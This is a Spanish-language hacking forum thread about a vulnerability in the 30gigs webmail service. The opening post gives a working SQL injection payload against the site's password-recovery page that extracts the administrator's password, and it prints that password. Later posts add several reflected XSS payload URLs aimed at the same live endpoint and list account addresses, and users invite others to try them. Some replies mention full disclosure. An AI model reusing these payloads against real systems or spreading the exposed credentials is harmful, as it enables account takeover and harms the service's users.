[OB] 30gigs SQL injection vulnerability

[mousehack]

Existe una vulnerabilidad en el servicio de mail de 30gigs que permite el acceso a las contraseñas

Esta vulnerabilidad se encuentra en:

http://www.30gigs.com/getpassword/

debido a que no valida correctamente los datos ingresados por los usuarios.

Prueba de Concepto:
------------------------
ingresamos en http://www.30gigs.com/getpassword/
y pegamos lo siguiente:

Código:

not_existant' union select 1,1,1,1,1,UserPassword,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from users where userLogin='admin

producira un resultado como el siguiente, donde ¨runsit" es la contraseña de la cuenta del administrador:

Código:

We have sent the password for your not_existant' union select 1,1,1,1,1,UserPassword,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from users where userLogin='admin@30gigs.com account to runsit

otras pruebas son admisibles

Fuente:www.addict3d.org

Salu2

[Cab Calloway]

Siguen saliendo fallos en 30gigs... a este paso... xD

Saludos!

[Man-In-the-Middle]

god@30gigs.com , admin@30gigs.com , info@30gigs.com , test@30gigs.com , frank@30gigs.com , popeye@30gigs.com , human@30gigs.com , friend@30gigs.com , steven@30gigs.com , bob@30gigs.com , jim@30gigs.com , administrator@30gigs.com , jobs@30gigs.com , happy@30gigs.com , someone@30gigs.com , anyone@30gigs.com , you@30gigs.com , me@30gigs.com , emai@30gigs.com , account@30gigs.com , invite@30gigs.com

Me parece un abuso XD, y yo que tenia una cuenta y ese era mi pass para todo,

[krispin]

Vaya vaya,
esos de 30gigs son una cuadrilla de pencos,
joe,
pa rato me hago una cuenta.
algun dia pararan de salirles fallos increibles?

[mousehack]

jajajaj usas el mismo scaner que yo...XD, lastima que lo tengo crackeado y no me actualiza la base de datos

Salu2

[Rey11]

Cual es ese escaner??

[krispin]

jeje, yo tambien lo he buscado,
pon en la mula acunetix

[ANELKAOS]

Funciona perfectamente 

[mousehack]

www.acunetix.com

Salu2

[mousehack]

prueben este:

http://www.30gigs.com/getpassword/index.php?login=%3Cscript%3Ealert('mousehack-string-1987708322');%3C/script%3E&submit=Send%20Password&process=1

http://www.30gigs.com/getpassword/index.php?login=%3Cscript%3Ealert('wvs-xss-magic-string-1987708322');%3C/script%3E&submit=Send%20Password&process=1

http://www.30gigs.com/getpassword/index.php?login="><script>alert('mousehack-1859762011');</script>&submit=Send%20Password&process=1

http://www.30gigs.com/getpassword/index.php?login=%3C/textarea%3E%3Cscript%3Ealert('mousehack-71103827');%3C/script%3E&submit=Send%20Password&process=1

http://www.30gigs.com/getpassword/index.php?login=%3Cscript%3Evar%20wvs_xss_test_variable=1060092372;alert(mousehack_variable);%3C/script%3E&submit=Send%20Password&process=1

http://www.30gigs.com/getpassword/index.php?login='&submit=Send%20Password&process=1

no creo que valga la pena reportalo o si?

Salu2

[ANELKAOS]

En realidad ya les avisaron hace 2 semanas pero los de 30gigs.com no respondieron, a mi Gmail taró un solo dia pero bueno.... hay empresas responsables y otras...no tanto.

[...]The site has been notified about the vulnerability 2 weeks hago, but no response was taken.

FUENTE Y DESCUBRIDOR: http://seclists.org/lists/fulldisclosure/2005/Nov/0523.html

Nosotros ya lo avisamos!

[...]Nosotros hemos conseguido llegar al mismo resultado de tres formas distintas, las otras dos bastante mas simples, con lo que fácilmente se deduce que esto es un multibug, y un error de diseño. Con todas estas pistas no tardarán en salir nuevos métodos.

FUENTE: http://www.elhacker.net/gmailbug/

[: : : Sherneyko : : :]

con esos bugs es mejor tener una cuenta que reenvie a la nuestra en 30gigs.com  , y no emviar desde 30gigs.com

hace cuanto se descubrio el bug?

[yagami2k2]

Así que todas las cuentas corren peligro ... que mal(mmm....suena muy tentador XD)

Suerte que no tengo nada importante en esa cuenta...

hay empresas responsables y otras...no tanto

Toda la razón, y esta parece que no ha tomado conciencia sobre lo que implica tener un bug como ese.

[BenRu]

vaya vaya con esta gente...
Ahora se esta dando mucho esto....

El acunetix ese funciona bien?

[Maximiliano Jose]

vaya vaya con esta gente...
Ahora se esta dando mucho esto....

El acunetix ese funciona bien?

Al parecer si...
SAludos